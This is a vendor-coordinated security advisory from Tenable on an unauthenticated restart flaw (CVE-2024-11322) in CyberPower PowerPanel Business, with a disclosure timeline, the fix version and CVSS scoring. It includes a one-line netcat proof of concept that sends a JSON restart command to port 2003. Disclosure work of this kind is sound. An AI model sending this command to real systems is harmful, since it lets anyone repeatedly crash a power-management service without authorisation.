Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

CyberPower PowerPanel Business Unauthenticated Restart DoS

High

Synopsis

A denial-of-service vulnerability exists in CyberPower PowerPanel Business (PPB) 4.11.0. 

An unauthenticated remote attacker can restart the ppbd.exe process via the PowerPanel Business Service Watchdog service listening on TCP port 2003. The attacker can repeatedly restart ppbd.exe to render it unavailable.

 

PoC:

// restart PPB Management

echo '{"requestType":2,"requestString": "{\"module\":2,\"needRestart\":true}"}' | nc <target-host> 2003

Solution

Upgrade to PPB 4.11.3 or later.

Disclosure Timeline

October 3, 2024 - Vulnerability discovered.
October 6, 2024 - Tenable requests security contact from vendor.
October 14, 2024 - Tenable requests security contact from vendor.
October 17, 2024 - CyberPower provides security contact. Tenable discloses to CyberPower.
October 24, 2024 - CyberPower sends a couple of emails to bring other team members into the disclosure.
October 25, 2024 - Tenable acknowledges.
November 7, 2024 - CyberPower provides preview patch. Tenable acknowledges.
November 7, 2024 - Tenable provides feedback on preview patch and requests release timeline.
November 12, 2024 - CyberPower acknowledges and states release timeline will be provided when available. Tenable acknowledges.
November 18, 2024 - Tenable provides advisory draft to CyberPower.
December 2, 2024 - Tenable requests status update.
December 3, 2024 - CyberPower provides status update.
December 24, 2024 - CyberPower gives definitive release date of December 31.
December 31, 2024 - CyberPower releases patch.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-11322
Tenable Advisory ID: TRA-2025-01
CVSSv3 Base / Temporal Score:
7.5 / 6.7
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Products:
CyberPower PowerPanel Business (PPB) 4.11.0 and prior
Risk Factor:
High

Advisory Timeline

January 15, 2025 - Initial release.